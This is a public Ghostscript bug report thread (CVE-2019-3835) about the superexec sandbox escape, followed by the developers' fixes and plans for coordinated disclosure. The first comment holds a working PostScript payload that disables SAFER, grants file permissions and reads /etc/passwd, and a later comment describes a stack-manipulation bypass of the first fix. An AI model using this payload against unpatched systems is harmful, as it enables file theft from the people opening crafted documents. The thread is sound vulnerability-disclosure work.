Bug 700585 - is superexec still available ?
Summary: is superexec still available ?
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: Security (public) (show other bugs)
Version: unspecified
Hardware: PC Linux
: P4 normal
Assignee: Ray Johnston
Depends on:
Reported: 2019-02-11 15:54 UTC by Cedric
Modified: 2019-05-08 13:28 UTC (History)
6 users (show)

See Also:
Word Size: ---

PoC bypass commit 20559175 (5.22 KB, application/postscript)
2019-02-19 19:33 UTC, Cedric

Note You need to log in before you can comment on or make changes to this bug.
Description Cedric 2019-02-11 15:54:42 UTC
Hi all,

I was auditing ghostscript and I admit that I am unsure if I am doing something wrong when compiling against upstream, or if there's a major hole via superexec still being accessible, simply requesting it from internaldict with the magic number :

GS> { systemdict /SAFER false put systemdict /userparams get /PermitFileControl [(*)] put systemdict /userparams get /PermitFileWriting [(*)] put systemdict /userparams get /PermitFileReading  [(*)] put } 1183615869 internaldict /superexec get exec
GS> (/etc/passwd) (r) file dup 64 string readline pop == closefile

Best regards,

Comment 1 Chris Liddell (chrisl) 2019-02-12 16:24:06 UTC
It's still available - it's not trivial to remove, since (probably) the largest producer of Postscript out there (the Windows Postscript printer driver) actually uses it.

We are looking at solutions that mitigate the threat, but still allow the PScript5.dll output to work.
Comment 2 Cedric 2019-02-13 09:32:49 UTC
Thanks for confirmation and for looking into it! 

I successfully used this flaw against a couple of popular Linux PS viewers.
Comment 3 Ray Johnston 2019-02-16 08:13:22 UTC
Fixed by commit 20559175

Because PScript5.dll uses the superexec operator (under some instances) from
the internaldict, we can't totally eliminate it, but this patch restricts the
usage to a specific usage (writing into a /Private key in a dictionary
using a procedure that is a length 1 packedarray). This passes our testing
which includes PostScript files that contain references to superexec, but
we haven't checked to see if it is actually executed successfully (it may be
that other parts of the ProcSet check for things that cause it to not be
Comment 4 Cedric 2019-02-18 09:23:44 UTC
Looks good!

When would you want to make it public ?
Comment 5 Cedric 2019-02-19 19:33:44 UTC
Created attachment 16917 [details]
PoC bypass commit 20559175
Comment 6 Cedric 2019-02-19 19:38:09 UTC

I just realized that the current fix is not sufficient (dunno if I should create a new BZ or re-use that one, so I ll just re-use that one for now)

The issue is that there's no check of the content of the stack. An attacker can use error handler and modify the stack as the code executes, and let the code finally fail on the -ifelse- with a non-boolean.

Checking the content of the stack to prevent any errors, and probably adding `executeonly` on in the /if/ block part of the -ifelse- should help around it.

(see PoC attached)
Comment 7 Ken Sharp 2019-02-20 09:06:26 UTC
Can't go straight from resolved to confirmed, so had to go via unconfirmed status first, apologies for the extra email.
Comment 8 Cedric 2019-02-22 09:19:06 UTC
This is CVE-2019-3835
Comment 9 Ray Johnston 2019-02-25 06:20:33 UTC
I don't think we even need superexec anymore. It isn't documented, and it
a definite security hole, so the best thing is to eliminate it.

gs_cet.ps now uses .forceput in a protected fashion, so we might as well
drop this undocumented security hole.
Comment 10 Ray Johnston 2019-02-25 17:33:09 UTC
Fixed by commit d683d1e6

Obliterate "superexec". We don't need it, nor do any known apps.
We were under the impression that the Windows driver 'PScript5.dll' used
superexec, but after testing with our extensive suite of PostScript file,
and analysis of the PScript5 "Adobe CoolType ProcSet, it does not appear
that this operator is needed anymore. Get rid of superexec and all of the
references to it, since it is a potential security hole.
Comment 11 Cedric 2019-03-11 19:28:29 UTC
This latest fix is perfect, no way bypassing that one :D

Is it ok if we disclose it on Thursday March 22 ? (both BZ 700585/CVE-2019-3835 and BZ 700576/CVE-2019-3838)

Given the situation, I think it might be better to have a coordinated fix among distros